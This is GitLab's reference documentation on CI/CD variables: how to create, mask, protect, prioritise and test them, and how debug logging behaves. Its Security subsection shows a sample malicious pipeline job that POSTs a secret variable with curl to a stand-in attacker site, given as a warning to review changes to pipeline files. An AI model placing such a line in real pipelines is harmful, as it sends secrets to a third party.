path: root/doc/ci/variables/README.md

---
stage: Verify
group: Continuous Integration
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: reference
---

# GitLab CI/CD variables

CI/CD variables are part of the environment in which [pipelines](../pipelines/index.md)
and jobs run. For example, you could:

- Use the value of a `TEMP` variable to know the correct location to store temporary files.
- Use a `DATABASE_URL` variable for the URL to a database that can be reused in different scripts.

Variables can be used to customize your jobs in [GitLab CI/CD](../README.md).
When you use variables, you don't have to hard-code values.

> For more information about advanced use of GitLab CI/CD:
>
> - <i class="fa fa-youtube-play youtube" aria-hidden="true"></i>&nbsp;Get to productivity faster with these [7 advanced GitLab CI workflow hacks](https://about.gitlab.com/webcast/7cicd-hacks/)
>   shared by GitLab engineers.
> - <i class="fa fa-youtube-play youtube" aria-hidden="true"></i>&nbsp;Learn how the Cloud Native Computing Foundation (CNCF) [eliminates the complexity](https://about.gitlab.com/customers/cncf/)
>   of managing projects across many cloud providers with GitLab CI/CD.

## Predefined CI/CD variables

GitLab CI/CD has a [default set of predefined CI/CD variables](predefined_variables.md)
that you can use without any additional specification.
You can call issue numbers, user names, branch names,
pipeline and commit IDs, and much more.

Predefined variables are provided by GitLab for the local environment of the runner.

GitLab reads the `.gitlab-ci.yml` file and sends the information
to the runner, where the variables are exposed. The runner then runs the script commands.

### Use predefined CI/CD variables

You can choose one of the existing predefined CI/CD variables
to be output by the runner.

This example shows how to output a job's stage by using the predefined variable `CI_JOB_STAGE`.

In your `.gitlab-ci.yml` file, call the variable from your script. Ensure
you use the correct [syntax](#syntax-of-cicd-variables-in-job-scripts).

```yaml
test_variable:
  stage: test
  script:
    - echo $CI_JOB_STAGE
```

In this case, the runner outputs the `stage` for the
job `test_variable`, which is `test`:

![Output `$CI_JOB_STAGE`](img/ci_job_stage_output_example.png)

## Custom CI/CD variables

When you need a specific custom variable, you can
[set it up in the UI](#create-a-custom-variable-in-the-ui), in [the API](../../api/project_level_variables.md),
or directly [in the `.gitlab-ci.yml` file](#create-a-custom-variable-in-gitlab-ciyml).

The variables are used by the runner any time the pipeline runs.
You can also [override variable values manually for a specific pipeline](../jobs/index.md#specifying-variables-when-running-manual-jobs),
or have them [prefilled in manual pipelines](../pipelines/index.md#prefill-variables-in-manual-pipelines).

There are two types of variables: **Variable** and **File**. You cannot set types in
the `.gitlab-ci.yml` file, but you can set them in the UI and API.

### Create a custom variable in `.gitlab-ci.yml`

To create a custom `env_var` variable in the [`.gitlab-ci.yml`](../yaml/README.md#variables) file,
define the variable/value pair under `variables`:

```yaml
variables:
  TEST: "HELLO WORLD"
```

You can then call its value in your script:

```yaml
script:
  - echo "$TEST"
```

For more details, see [`.gitlab-ci.yml` defined variables](#gitlab-ciyml-defined-variables).

### Create a custom variable in the UI

From the UI, you can add or update custom variables:

1. Go to your project's **Settings > CI/CD** and expand the **Variables** section.
1. Click the **Add Variable** button. In the **Add variable** modal, fill in the details:

    - **Key**: Must be one line, with no spaces, using only letters, numbers, or `_`.
    - **Value**: No limitations.
    - **Type**: `File` or `Variable`.
    - **Environment scope**: `All`, or specific [environments](../environments/index.md).
    - **Protect variable** (Optional): If selected, the variable is only available in pipelines that run on protected branches or tags.
    - **Mask variable** (Optional): If selected, the variable's **Value** is masked in job logs. The variable fails to save if the value does not meet the [masking requirements](#masked-variable-requirements).

After a variable is created, you can update any of the details by clicking the **{pencil}** **Edit** button.

After you set a variable, call it from the `.gitlab-ci.yml` file:

```yaml
test_variable:
  stage: test
  script:
    - echo $CI_JOB_STAGE  # calls a predefined variable
    - echo $TEST          # calls a custom variable of type `env_var`
    - echo $GREETING      # calls a custom variable of type `file` that contains the path to the temp file
    - cat $GREETING       # the temp file itself contains the variable value
```

The output is:

![Output custom variable](img/custom_variables_output.png)

Variables can only be updated or viewed by project members with [maintainer permissions](../../user/permissions.md#project-members-permissions).

#### Security

Malicious code pushed to your `.gitlab-ci.yml` file could compromise your variables and send them to a third party server regardless of the masked setting. If the pipeline runs on a [protected branch](../../user/project/protected_branches.md) or [protected tag](../../user/project/protected_tags.md), it could also compromise protected variables.

All merge requests that introduce changes to `.gitlab-ci.yml` should be reviewed carefully before:

- [Running a pipeline in the parent project for a merge request submitted from a forked project](../merge_request_pipelines/index.md#run-pipelines-in-the-parent-project-for-merge-requests-from-a-forked-project).
- Merging the changes.

Here is a simplified example of a malicious `.gitlab-ci.yml`:

```yaml
build:
  script:
    - curl --request POST --data "secret_variable=$SECRET_VARIABLE" "https://maliciouswebsite.abcd/"
```

### Custom CI/CD variables of type Variable

> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/46806) in GitLab 11.11.

For variables with the type **Variable**, the runner creates an environment variable
that uses the key for the name and the value for the value.

There are [some predefined variables](#custom-variables-validated-by-gitlab) of this type,
which may be further validated. They appear when you add or update a variable in the UI.

### Custom CI/CD variables of type File

> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/46806) in GitLab 11.11.

For variables with the type **File**, the runner creates an environment variable that uses the key for the name.
For the value, the runner writes the variable value to a temporary file and uses this path.

You can use tools like [the AWS CLI](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-envvars.html)
and [`kubectl`](https://kubernetes.io/docs/concepts/configuration/organize-cluster-access-kubeconfig/#the-kubeconfig-environment-variable)
to customize your configuration by using **File** type variables.

Previously, a common pattern was to read the value of a CI variable, save it in a file, and then
use that file in your script:

```shell
# Read certificate stored in $KUBE_CA_PEM variable and save it in a new file
echo "$KUBE_CA_PEM" > "$(pwd)/kube.ca.pem"
# Pass the newly created file to kubectl
kubectl config set-cluster e2e --server="$KUBE_URL" --certificate-authority="$(pwd)/kube.ca.pem"
```

Instead of this, you can use a **File** type variable. For example, if you have the following variables:

- A variable of type **Variable**: `KUBE_URL` with the value `https://example.com`.
- A variable of type **File**: `KUBE_CA_PEM` with a certificate as the value.

You can call them from `.gitlab-ci.yml`, like this:

```shell
kubectl config set-cluster e2e --server="$KUBE_URL" --certificate-authority="$KUBE_CA_PEM"
```

### Mask a custom variable

> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/13784) in GitLab 11.10

Variables can be masked so that the value of the variable is hidden in job logs.

To mask a variable:

1. Go to **Settings > CI/CD**.
1. Expand the **Variables** section.
1. Next to the variable you want to protect, click **Edit**.
1. Select the **Mask variable** check box.
1. Click **Update variable**.

#### Masked variable requirements

The value of the variable must:

- Be in a single line.
- Be at least 8 characters long.
- Not be a predefined or custom CI/CD variable.
- Consist only of:
  - Characters from the Base64 alphabet (RFC4648).
  - The `@` and `:` characters ([In GitLab 12.2](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/63043) and later).
  - The `.` character ([In GitLab 12.10](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/29022) and later).

You can't mask variables that don't meet these requirements.

### Protect a custom variable

> Introduced in GitLab 9.3.

Variables can be protected. When a variable is
protected, it is only passed to pipelines running on
[protected branches](../../user/project/protected_branches.md) or [protected tags](../../user/project/protected_tags.md). The other pipelines do not get
the protected variable.

To protect a variable:

1. Go to **Settings > CI/CD**.
1. Expand the **Variables** section.
1. Next to the variable you want to protect, click **Edit**.
1. Select the **Protect variable** check box.
1. Click **Update variable**.

The variable is available for all subsequent pipelines.

### Custom variables validated by GitLab

Some variables are listed in the UI so you can choose them more quickly.

| Variable                | Allowed Values                                     | Introduced in |
|-------------------------|----------------------------------------------------|---------------|
| `AWS_ACCESS_KEY_ID`     | Any                                                | 12.10         |
| `AWS_DEFAULT_REGION`    | Any                                                | 12.10         |
| `AWS_SECRET_ACCESS_KEY` | Any                                                | 12.10         |

WARNING:
When you store credentials, there are security implications. If you are using AWS keys,
for example, follow their [best practices](https://docs.aws.amazon.com/general/latest/gr/aws-access-keys-best-practices.html).

## Syntax of CI/CD variables in job scripts

All variables are set as environment variables in the build environment, and
they are accessible with normal methods that are used to access such variables.
In most cases `bash` or `sh` is used to execute the job script.

To access environment variables, use the syntax for your runner's [shell](https://docs.gitlab.com/runner/executors/).

| Shell                | Usage                                    |
|----------------------|------------------------------------------|
| bash/sh              | `$variable`                              |
| PowerShell           | `$env:variable` (primary) or `$variable` |
| Windows Batch        | `%variable%`, or `!variable!` for [delayed expansion](https://ss64.com/nt/delayedexpansion.html), which can be used for variables that contain white spaces or newlines. |

### Bash

To access environment variables in **bash**, prefix the CI/CD variable name with (`$`):

```yaml
job_name:
  script:
    - echo $CI_JOB_ID
```

### PowerShell

To access variables in a **Windows PowerShell** environment, including system set
environment variables, prefix the variable name with (`$env:`). GitLab CI/CD variables
can also be accessed by prefixing the variable name with (`$`) with
[GitLab Runner 1.0.0](https://gitlab.com/gitlab-org/gitlab-runner/-/merge_requests/68)
and later.

```yaml
job_name:
  script:
    - echo $env:CI_JOB_ID
    - echo $CI_JOB_ID
    - echo $env:PATH
```

In [some cases](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/4115#note_157692820)
environment variables may need to be surrounded by quotes to expand properly:

```yaml
job_name:
  script:
    - D:\\qislsf\\apache-ant-1.10.5\\bin\\ant.bat "-DsosposDailyUsr=$env:SOSPOS_DAILY_USR" portal_test
```

### Windows Batch

To access environment variables in **Windows Batch**, surround the variable
with (`%`):

```yaml
job_name:
  script:
    - echo %CI_JOB_ID%
```

### List all environment variables

You can also list all environment variables with the `export` command in Bash
or `dir env:` command in PowerShell.
Be aware that this also exposes the values of all the variables
you set, in the job log:

```yaml
job_name:
  script:
    - export
    # - 'dir env:' # use this for PowerShell
```

Example values:

```shell
export CI_JOB_ID="50"
export CI_COMMIT_SHA="1ecfd275763eff1d6b4844ea3168962458c9f27a"
export CI_COMMIT_SHORT_SHA="1ecfd275"
export CI_COMMIT_REF_NAME="master"
export CI_REPOSITORY_URL="https://gitlab-ci-token:abcde-1234ABCD5678ef@example.com/gitlab-org/gitlab-foss.git"
export CI_COMMIT_TAG="1.0.0"
export CI_JOB_NAME="spec:other"
export CI_JOB_STAGE="test"
export CI_JOB_MANUAL="true"
export CI_JOB_TRIGGERED="true"
export CI_JOB_TOKEN="abcde-1234ABCD5678ef"
export CI_PIPELINE_ID="1000"
export CI_PIPELINE_IID="10"
export CI_PAGES_DOMAIN="gitlab.io"
export CI_PAGES_URL="https://gitlab-org.gitlab.io/gitlab-foss"
export CI_PROJECT_ID="34"
export CI_PROJECT_DIR="/builds/gitlab-org/gitlab-foss"
export CI_PROJECT_NAME="gitlab-foss"
export CI_PROJECT_TITLE="GitLab FOSS"
export CI_PROJECT_NAMESPACE="gitlab-org"
export CI_PROJECT_ROOT_NAMESPACE="gitlab-org"
export CI_PROJECT_PATH="gitlab-org/gitlab-foss"
export CI_PROJECT_URL="https://example.com/gitlab-org/gitlab-foss"
export CI_REGISTRY="registry.example.com"
export CI_REGISTRY_IMAGE="registry.example.com/gitlab-org/gitlab-foss"
export CI_REGISTRY_USER="gitlab-ci-token"
export CI_REGISTRY_PASSWORD="longalfanumstring"
export CI_RUNNER_ID="10"
export CI_RUNNER_DESCRIPTION="my runner"
export CI_RUNNER_TAGS="docker, linux"
export CI_SERVER="yes"
export CI_SERVER_URL="https://example.com"
export CI_SERVER_HOST="example.com"
export CI_SERVER_PORT="443"
export CI_SERVER_PROTOCOL="https"
export CI_SERVER_NAME="GitLab"
export CI_SERVER_REVISION="70606bf"
export CI_SERVER_VERSION="8.9.0"
export CI_SERVER_VERSION_MAJOR="8"
export CI_SERVER_VERSION_MINOR="9"
export CI_SERVER_VERSION_PATCH="0"
export GITLAB_USER_EMAIL="user@example.com"
export GITLAB_USER_ID="42"
```

## `.gitlab-ci.yml` defined variables

You can add CI/CD variables to `.gitlab-ci.yml`. These variables are saved in the repository,
and they are meant to store non-sensitive project configuration, like `RAILS_ENV` or
`DATABASE_URL`.

For example, if you set the variable below globally (not inside a job), it is
used in all executed commands and scripts:

```yaml
variables:
  DATABASE_URL: "postgres://postgres@postgres/my_database"
```

The YAML-defined variables are also set to all created
[service containers](../docker/using_docker_images.md), so that you can fine
tune them.

Variables can be defined at a global level, but also at a job level. To turn off
global defined variables in your job, define an empty hash:

```yaml
job_name:
  variables: {}
```

You are able to use other variables inside your variable definition (or escape them with `$$`):

```yaml
variables:
  LS_CMD: 'ls $FLAGS $$TMP_DIR'
  FLAGS: '-al'
script:
  - 'eval $LS_CMD'  # will execute 'ls -al $TMP_DIR'
```

Use the [`value` and `description`](../yaml/README.md#prefill-variables-in-manual-pipelines)
keywords to define [variables that are prefilled](../pipelines/index.md#prefill-variables-in-manual-pipelines)
when [running a pipeline manually](../pipelines/index.md#run-a-pipeline-manually):

## Group-level CI/CD variables

> Introduced in GitLab 9.4.

You can define per-project or per-group variables that are set in the pipeline environment.
Group-level variables are stored out of the repository (not in `.gitlab-ci.yml`).
They are securely passed to GitLab Runner, which makes them available during a pipeline run.

We recommend using group variables to store secrets (like passwords, SSH keys, and
credentials) for users who:

- Do **not** use an external key store.
- Use the GitLab [integration with HashiCorp Vault](../secrets/index.md).

Group-level variables can be added by:

1. Navigating to your group's **Settings > CI/CD** page.
1. Inputting variable types, keys, and values in the **Variables** section.
   Any variables of [subgroups](../../user/group/subgroups/index.md) are inherited recursively.

After you set them, they are available for all subsequent pipelines. Any group-level user defined variables can be viewed in projects by:

1. Navigating to the project's **Settings > CI/CD** page.
1. Expanding the **Variables** section.

![CI/CD settings - inherited variables](img/inherited_group_variables_v12_5.png)

## Instance-level CI/CD variables

> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/14108) in GitLab 13.0.

Instance variables are useful for no longer needing to manually enter the same credentials repeatedly for all your projects. Instance-level variables are available to all projects and groups on the instance.

In GitLab 13.1 and later, the [maximum number of instance-level variables is 25](https://gitlab.com/gitlab-org/gitlab/-/issues/216097).

You can define instance-level variables via the UI or [API](../../api/instance_level_ci_variables.md).

To add an instance-level variable:

1. Navigate to your Admin Area's **Settings > CI/CD** and expand the **Variables** section.
1. Click the **Add variable** button, and fill in the details:

   - **Key**: Must be one line, using only letters, numbers, or `_` (underscore), with no spaces.
   - **Value**: [In GitLab 13.3 and later](https://gitlab.com/gitlab-org/gitlab/-/issues/220028), 10,000 characters allowed. This is also bounded by the limits of the selected runner operating system. In GitLab 13.0 to 13.2, 700 characters allowed.
   - **Type**: `File` or `Variable`.
   - **Protect variable** (Optional): If selected, the variable is only available in pipelines that run on protected branches or tags.
   - **Mask variable** (Optional): If selected, the variable's **Value** is not shown in job logs. The variable is not saved if the value does not meet the [masking requirements](#masked-variable-requirements).

After a variable is created, you can update any of the details by clicking the **{pencil}** **Edit** button.

### Enable or disable UI interface for instance-level CI/CD variables

The UI interface for Instance-level CI/CD variables is under development but ready for production use.
It is deployed behind a feature flag that is **enabled by default**.
[GitLab administrators with access to the GitLab Rails console](../../administration/feature_flags.md) can opt to disable it for your instance.

To disable it:

```ruby
Feature.disable(:instance_variables_ui)
```

To enable it:

```ruby
Feature.enable(:instance_variables_ui)
```

## Inherit CI/CD variables

> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/22638) in GitLab 13.0 behind a disabled [feature flag](../../administration/feature_flags.md): `ci_dependency_variables`.
> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/217834) in GitLab 13.1.

You can inherit CI/CD variables from dependent jobs.

This feature makes use of the [`artifacts:reports:dotenv`](../pipelines/job_artifacts.md#artifactsreportsdotenv) report feature.

Example with [`dependencies`](../yaml/README.md#dependencies) keyword.

```yaml
build:
  stage: build
  script:
    - echo "BUILD_VERSION=hello" >> build.env
  artifacts:
    reports:
      dotenv: build.env

deploy:
  stage: deploy
  script:
    - echo $BUILD_VERSION  # => hello
  dependencies:
    - build
```

Example with the [`needs`](../yaml/README.md#artifact-downloads-with-needs) keyword:

```yaml
build:
  stage: build
  script:
    - echo "BUILD_VERSION=hello" >> build.env
  artifacts:
    reports:
      dotenv: build.env

deploy:
  stage: deploy
  script:
    - echo $BUILD_VERSION  # => hello
  needs:
    - job: build
      artifacts: true
```

## Priority of CI/CD variables

Variables of different types can take precedence over other
variables, depending on where they are defined.

The order of precedence for variables is (from highest to lowest):

1. [Trigger variables](../triggers/README.md#making-use-of-trigger-variables), [scheduled pipeline variables](../pipelines/schedules.md#using-variables),
   and [manual pipeline run variables](#override-a-variable-by-manually-running-a-pipeline).
1. Project-level [variables](#custom-cicd-variables) or [protected variables](#protect-a-custom-variable).
1. Group-level [variables](#group-level-cicd-variables) or [protected variables](#protect-a-custom-variable).
1. Instance-level [variables](#instance-level-cicd-variables) or [protected variables](#protect-a-custom-variable).
1. [Inherited CI/CD variables](#inherit-cicd-variables).
1. YAML-defined [job-level variables](../yaml/README.md#variables).
1. YAML-defined [global variables](../yaml/README.md#variables).
1. [Deployment variables](#deployment-variables).
1. [Predefined CI/CD variables](predefined_variables.md).

For example, if you define:

- `API_TOKEN=secure` as a project variable.
- `API_TOKEN=yaml` in your `.gitlab-ci.yml`.

`API_TOKEN` takes the value `secure` as the project
variables take precedence over those defined in `.gitlab-ci.yml`.

## Unsupported variables

Variable names are limited by the underlying shell used to execute scripts (see [available shells](https://docs.gitlab.com/runner/shells/index.html).
Each shell has its own unique set of reserved variable names.
Keep in mind the [scope of CI/CD variables](where_variables_can_be_used.md) to ensure a variable is defined in the scope in which you wish to use it.

## Where variables can be used

[This section](where_variables_can_be_used.md) describes where and how the different types of variables can be used.

## Advanced use

### Limit the environment scopes of CI/CD variables

You can limit the environment scope of a variable by
[defining which environments](../environments/index.md) it can be available for.

To learn more about scoping environments, see [Scoping environments with specs](../environments/index.md#scoping-environments-with-specs).

### Deployment variables

> Introduced in GitLab 8.15.

[Integrations](../../user/project/integrations/overview.md) that are
responsible for deployment configuration may define their own variables that
are set in the build environment. These variables are only defined for
[deployment jobs](../environments/index.md). Please consult the documentation of
the integrations that you are using to learn which variables they define.

An example integration that defines deployment variables is the
[Kubernetes integration](../../user/project/clusters/index.md#deployment-variables).

### Auto DevOps environment variables

> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/49056) in GitLab 11.7.

You can configure [Auto DevOps](../../topics/autodevops/index.md) to
pass CI/CD variables to the running application by prefixing the key of the
variable with `K8S_SECRET_`.

These [prefixed variables](../../topics/autodevops/customize.md#application-secret-variables) are
then available as environment variables on the running application
container.

WARNING:
Variables with multi-line values are not supported due to
limitations with the Auto DevOps scripting environment.

### When you can override variables

You can override the value of a variable when:

1. [Manually running](#override-a-variable-by-manually-running-a-pipeline) pipelines in the UI.
1. Manually creating pipelines [via API](../../api/pipelines.md#create-a-new-pipeline).
1. Manually playing a job via the UI.
1. Using [push options](../../user/project/push_options.md#push-options-for-gitlab-cicd).
1. Manually triggering pipelines with [the API](../triggers/README.md#making-use-of-trigger-variables).
1. Passing variables to a [downstream pipeline](../multi_project_pipelines.md#passing-cicd-variables-to-a-downstream-pipeline).

These pipeline variables declared in these events take [priority over other variables](#priority-of-cicd-variables).

#### Restrict who can override variables

> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/295234) in GitLab 13.8.

To allow only users with Maintainer role to set these variables, you can use
[the API](../../api/projects.md#edit-project) to enable the project setting `restrict_user_defined_variables`.
When a user without Maintainer role tries to run a pipeline with overridden
variables, an `Insufficient permissions to set pipeline variables` error occurs.

The setting is `disabled` by default.

If you [store your CI/CD configurations in a different repository](../../ci/pipelines/settings.md#custom-cicd-configuration-path),
use this setting for strict control over all aspects of the environment
the pipeline runs in.

#### Override a variable by manually running a pipeline

> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/44059) in GitLab 10.8.

You can override the value of a current variable by
[running a pipeline manually](../pipelines/index.md#run-a-pipeline-manually).

For instance, suppose you added a custom variable named `$TEST`
and you want to override it in a manual pipeline.

Navigate to your project's **CI/CD > Pipelines** and click **Run pipeline**.
Choose the branch you want to run the pipeline for, then add a variable and its value in the UI:

![Override variable value](img/override_variable_manual_pipeline.png)

The runner overrides the value previously set and uses the custom
value for this specific pipeline.

![Manually overridden variable output](img/override_value_via_manual_pipeline_output.png)

## CI/CD variable expressions

> - [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/37397) in GitLab 10.7 for [the `only` and `except` CI keywords](../yaml/README.md#onlyexcept-advanced)
> - [Expanded](https://gitlab.com/gitlab-org/gitlab/-/issues/27863) in GitLab 12.3 with [the `rules` keyword](../yaml/README.md#rules)

Use variable expressions to limit which jobs are created
within a pipeline after changes are pushed to GitLab.

In `.gitlab-ci.yml`, variable expressions work with both:

- [`rules`](../yaml/README.md#rules), which is the recommended approach, and
- [`only` and `except`](../yaml/README.md#onlyexcept-basic), which are candidates for deprecation.

This is particularly useful in combination with variables and triggered
pipeline variables.

```yaml
deploy:
  script: cap staging deploy
  environment: staging
  only:
    variables:
      - $RELEASE == "staging"
      - $STAGING
```

Each expression provided is evaluated before a pipeline is created.

If any of the conditions in `variables` evaluates to true when using `only`,
a new job is created. If any of the expressions evaluates to true
when `except` is being used, a job is not created.

This follows the usual rules for [`only` / `except` policies](../yaml/README.md#onlyexcept-advanced).

### Syntax of CI/CD variable expressions

Below you can find supported syntax reference.

#### Equality matching using a string

Examples:

- `$VARIABLE == "some value"`
- `$VARIABLE != "some value"` (introduced in GitLab 11.11)

You can use equality operator `==` or `!=` to compare a variable content to a
string. We support both, double quotes and single quotes to define a string
value, so both `$VARIABLE == "some value"` and `$VARIABLE == 'some value'`
are supported. `"some value" == $VARIABLE` is correct too.

#### Checking for an undefined value

Examples:

- `$VARIABLE == null`
- `$VARIABLE != null` (introduced in GitLab 11.11)

It sometimes happens that you want to check whether a variable is defined
or not. To do that, you can compare a variable to `null` keyword, like
`$VARIABLE == null`. This expression evaluates to true if
variable is not defined when `==` is used, or to false if `!=` is used.

#### Checking for an empty variable

Examples:

- `$VARIABLE == ""`
- `$VARIABLE != ""` (introduced in GitLab 11.11)

To check if a variable is defined but empty, compare it to:

- An empty string: `$VARIABLE == ''`
- A non-empty string: `$VARIABLE != ""`

#### Comparing two variables

Examples:

- `$VARIABLE_1 == $VARIABLE_2`
- `$VARIABLE_1 != $VARIABLE_2` (introduced in GitLab 11.11)

It is possible to compare two variables. This compares values
of these variables.

#### Variable presence check

Example: `$STAGING`

To create a job when there is some variable present, meaning it is defined and non-empty,
use the variable name as an expression, like `$STAGING`. If the `$STAGING` variable
is defined, and is non empty, expression evaluates to `true`.
`$STAGING` value needs to be a string, with length higher than zero.
Variable that contains only whitespace characters is not an empty variable.

#### Regex pattern matching

> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/43601) in GitLab 11.0

Examples:

- `=~`: True if pattern is matched. Ex: `$VARIABLE =~ /^content.*/`
- `!~`: True if pattern is not matched. Ex: `$VARIABLE_1 !~ /^content.*/` ([Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/61900) in GitLab 11.11)

Variable pattern matching with regular expressions uses the
[RE2 regular expression syntax](https://github.com/google/re2/wiki/Syntax).
Expressions evaluate as `true` if:

- Matches are found when using `=~`.
- Matches are *not* found when using `!~`.

Pattern matching is case-sensitive by default. Use `i` flag modifier, like
`/pattern/i` to make a pattern case-insensitive.

#### Conjunction / Disjunction

> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/62867) in GitLab 12.0

Examples:

- `$VARIABLE1 =~ /^content.*/ && $VARIABLE2 == "something"`
- `$VARIABLE1 =~ /^content.*/ && $VARIABLE2 =~ /thing$/ && $VARIABLE3`
- `$VARIABLE1 =~ /^content.*/ || $VARIABLE2 =~ /thing$/ && $VARIABLE3`

It is possible to join multiple conditions using `&&` or `||`. Any of the otherwise
supported syntax may be used in a conjunctive or disjunctive statement.
Precedence of operators follows the
[Ruby 2.5 standard](https://ruby-doc.org/core-2.5.0/doc/syntax/precedence_rdoc.html),
so `&&` is evaluated before `||`.

#### Parentheses

> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/230938) in GitLab 13.3
> - It's deployed behind a feature flag, enabled by default.
> - It's enabled on GitLab.com.
> - It's recommended for production use.
> - For GitLab self-managed instances, GitLab administrators can opt to [disable it](#enable-or-disable-parenthesis-support-for-variables). **(FREE SELF)**

It is possible to use parentheses to group conditions. Parentheses have the highest
precedence of all operators. Expressions enclosed in parentheses are evaluated first,
and the result is used for the rest of the expression.

Many nested parentheses can be used to create complex conditions, and the inner-most
expressions in parentheses are evaluated first. For an expression to be valid an equal
number of `(` and `)` need to be used.

Examples:

- `($VARIABLE1 =~ /^content.*/ || $VARIABLE2) && ($VARIABLE3 =~ /thing$/ || $VARIABLE4)`
- `($VARIABLE1 =~ /^content.*/ || $VARIABLE2 =~ /thing$/) && $VARIABLE3`
- `$CI_COMMIT_BRANCH == "my-branch" || (($VARIABLE1 == "thing" || $VARIABLE2 == "thing") && $VARIABLE3)`

##### Enable or disable parenthesis support for variables **(FREE SELF)**

The feature is deployed behind a feature flag that is **enabled by default**.
[GitLab administrators with access to the GitLab Rails console](../../administration/feature_flags.md)
can opt to disable it for your instance.

To disable it:

```ruby
Feature.disable(:ci_if_parenthesis_enabled)
```

To enable it:

```ruby
Feature.enable(:ci_if_parenthesis_enabled)
```

### Storing regular expressions in variables

It is possible to store a regular expression in a variable, to be used for pattern matching.
The following example tests whether `$RELEASE` contains either the
string `staging0` or the string `staging1`:

```yaml
variables:
  STAGINGRELS: '/staging0|staging1/'

deploy_staging:
  script: do.sh deploy staging
  environment: staging
  rules:
    - if: '$RELEASE =~ $STAGINGRELS'
```

NOTE:
The available regular expression syntax is limited. See [related issue](https://gitlab.com/gitlab-org/gitlab/-/issues/35438)
for more details.

If needed, you can use a test pipeline to determine whether a regular expression works in a variable. The example below tests the `^mast.*` regular expression directly,
as well as from within a variable:

```yaml
variables:
  MYSTRING: 'master'
  MYREGEX: '/^mast.*/'

testdirect:
  script: /bin/true
  rules:
    - if: '$MYSTRING =~ /^mast.*/'

testvariable:
  script: /bin/true
  rules:
    - if: '$MYSTRING =~ $MYREGEX'
```

## Debug logging

> Introduced in GitLab Runner 1.7.

WARNING:
Enabling debug tracing can have severe security implications. The
output **will** contain the content of all your variables and any other
secrets! The output **will** be uploaded to the GitLab server and made visible
in job logs!

By default, the runner hides most of the details of what it is doing when
processing a job. This behavior keeps job logs short, and prevents secrets
from being leaked into the log unless your script writes them to the screen.

If a job isn't working as expected, this can make the problem difficult to
investigate; in these cases, you can enable debug tracing in `.gitlab-ci.yml`.
Available on GitLab Runner v1.7+, this feature enables the shell's execution log. This results in a verbose job log listing all commands that were run, variables that were set, and so on.

Before enabling this, you should ensure jobs are visible to
[team members only](../../user/permissions.md#project-features). You should
also [erase](../jobs/index.md#view-jobs-in-a-pipeline) all generated job logs
before making them visible again.

### Restricted access to debug logging

> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/213159) in GitLab 13.7.
> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/292661) in GitLab 13.8.

With restricted access to debug logging, only users with
[developer or higher permissions](../../user/permissions.md#project-members-permissions)
can view job logs when debug logging is enabled with a variable in:

- The [`.gitlab-ci.yml` file](#gitlab-ciyml-defined-variables).
- The CI/CD variables set within the GitLab UI.

WARNING:
If you add `CI_DEBUG_TRACE` as a local variable to your runners, debug logs are visible
to all users with access to job logs. The permission levels are not checked by Runner,
so you should make use of the variable in GitLab only.

### Enable Debug logging

To enable debug logs (traces), set the `CI_DEBUG_TRACE` variable to `true`:

```yaml
job_name:
  variables:
    CI_DEBUG_TRACE: "true"
```

Example truncated output with `CI_DEBUG_TRACE` set to `true`:

```shell
...

export CI_SERVER_TLS_CA_FILE="/builds/gitlab-examples/ci-debug-trace.tmp/CI_SERVER_TLS_CA_FILE"
if [[ -d "/builds/gitlab-examples/ci-debug-trace/.git" ]]; then
  echo $'\''\x1b[32;1mFetching changes...\x1b[0;m'\''
  $'\''cd'\'' "/builds/gitlab-examples/ci-debug-trace"
  $'\''git'\'' "config" "fetch.recurseSubmodules" "false"
  $'\''rm'\'' "-f" ".git/index.lock"
  $'\''git'\'' "clean" "-ffdx"
  $'\''git'\'' "reset" "--hard"
  $'\''git'\'' "remote" "set-url" "origin" "https://gitlab-ci-token:xxxxxxxxxxxxxxxxxxxx@example.com/gitlab-examples/ci-debug-trace.git"
  $'\''git'\'' "fetch" "origin" "--prune" "+refs/heads/*:refs/remotes/origin/*" "+refs/tags/*:refs/tags/lds"
++ CI_BUILDS_DIR=/builds
++ export CI_PROJECT_DIR=/builds/gitlab-examples/ci-debug-trace
++ CI_PROJECT_DIR=/builds/gitlab-examples/ci-debug-trace
++ export CI_CONCURRENT_ID=87
++ CI_CONCURRENT_ID=87
++ export CI_CONCURRENT_PROJECT_ID=0
++ CI_CONCURRENT_PROJECT_ID=0
++ export CI_SERVER=yes
++ CI_SERVER=yes
++ mkdir -p /builds/gitlab-examples/ci-debug-trace.tmp
++ echo -n '-----BEGIN CERTIFICATE-----
-----END CERTIFICATE-----'
++ export CI_SERVER_TLS_CA_FILE=/builds/gitlab-examples/ci-debug-trace.tmp/CI_SERVER_TLS_CA_FILE
++ CI_SERVER_TLS_CA_FILE=/builds/gitlab-examples/ci-debug-trace.tmp/CI_SERVER_TLS_CA_FILE
++ export CI_PIPELINE_ID=52666
++ CI_PIPELINE_ID=52666
++ export CI_PIPELINE_URL=https://gitlab.com/gitlab-examples/ci-debug-trace/pipelines/52666
++ CI_PIPELINE_URL=https://gitlab.com/gitlab-examples/ci-debug-trace/pipelines/52666
++ export CI_JOB_ID=7046507
++ CI_JOB_ID=7046507
++ export CI_JOB_URL=https://gitlab.com/gitlab-examples/ci-debug-trace/-/jobs/379424655
++ CI_JOB_URL=https://gitlab.com/gitlab-examples/ci-debug-trace/-/jobs/379424655
